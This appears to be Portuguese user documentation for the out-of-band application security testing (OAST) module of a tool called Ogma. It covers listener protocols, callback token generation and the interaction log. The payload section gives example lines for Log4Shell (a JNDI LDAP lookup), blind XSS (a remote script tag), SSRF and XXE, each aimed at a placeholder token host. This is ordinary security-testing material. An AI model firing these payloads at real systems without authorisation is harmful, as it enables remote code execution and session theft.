OAST
OAST (testes de segurança de aplicações fora de banda, na sigla em inglês) detecta vulnerabilidades que não produzem uma resposta visível; em vez disso, o alvo faz uma conexão de saída com um listener que você controla, confirmando o problema.
Como funciona
O Ogma executa listeners locais em vários protocolos. Quando uma aplicação-alvo contata um desses listeners, a interação é registrada com o IP de origem, a marca de tempo, os dados recebidos e o token que foi injetado.
Protocolos dos listeners
| Protocolo | Porta padrão | Caso de uso |
|---|---|---|
| HTTP | Configurável | SSRF, XSS cego, webhooks |
| HTTPS | Configurável | SSRF por TLS |
| DNS | Configurável | Injeção cega, XXE, log4shell |
| SMTP | Configurável | Injeção de cabeçalhos de e-mail, SSRF para serviços de e-mail |
Configure as portas dos listeners e o nome do domínio usado nos tokens gerados no painel de configurações do OAST.
Gerar um token de callback
- Abra Utilitários > OAST.
- Clique em Gerar token. Cada token é único por teste.
- Copie o token. Ele inclui o domínio do seu listener e um identificador único para que as interações possam ser associadas ao teste específico.
Exemplo de formato de token: [unique-id].[your-oast-domain]
Usar tokens em payloads
Injete o token de callback em qualquer campo no qual a aplicação possa fazer uma conexão de saída:
- SSRF: use o token HTTP/HTTPS como URL de destino:
https://[token]/ - XXE: referencie o token em um DOCTYPE ou na URL de uma entidade externa.
- Log4Shell: inclua em um cabeçalho:
${jndi:ldap://[token]/a} - XSS cego: injete como src de um script:
<script src="https://[token]/x.js"></script> - Injeção SMTP: use como endereço de destino ou URL nos cabeçalhos de e-mail.
Registro de interações
O painel de interações mostra cada callback recebido:
| Coluna | Descrição |
|---|---|
| Hora | Quando a interação foi recebida |
| Protocolo | HTTP, HTTPS, DNS ou SMTP |
| IP de origem | Endereço IP que fez a conexão |
| Token | Qual token foi contatado |
| Dados | Caminho da requisição, nome consultado no DNS ou dados SMTP |
Clique em qualquer linha para ver os detalhes completos da interação, incluindo os cabeçalhos e o corpo da requisição, quando aplicável.
Associar interações aos testes
Como cada token é único, você pode injetar tokens diferentes em parâmetros ou requisições diferentes e determinar exatamente qual ponto de injeção acionou o callback.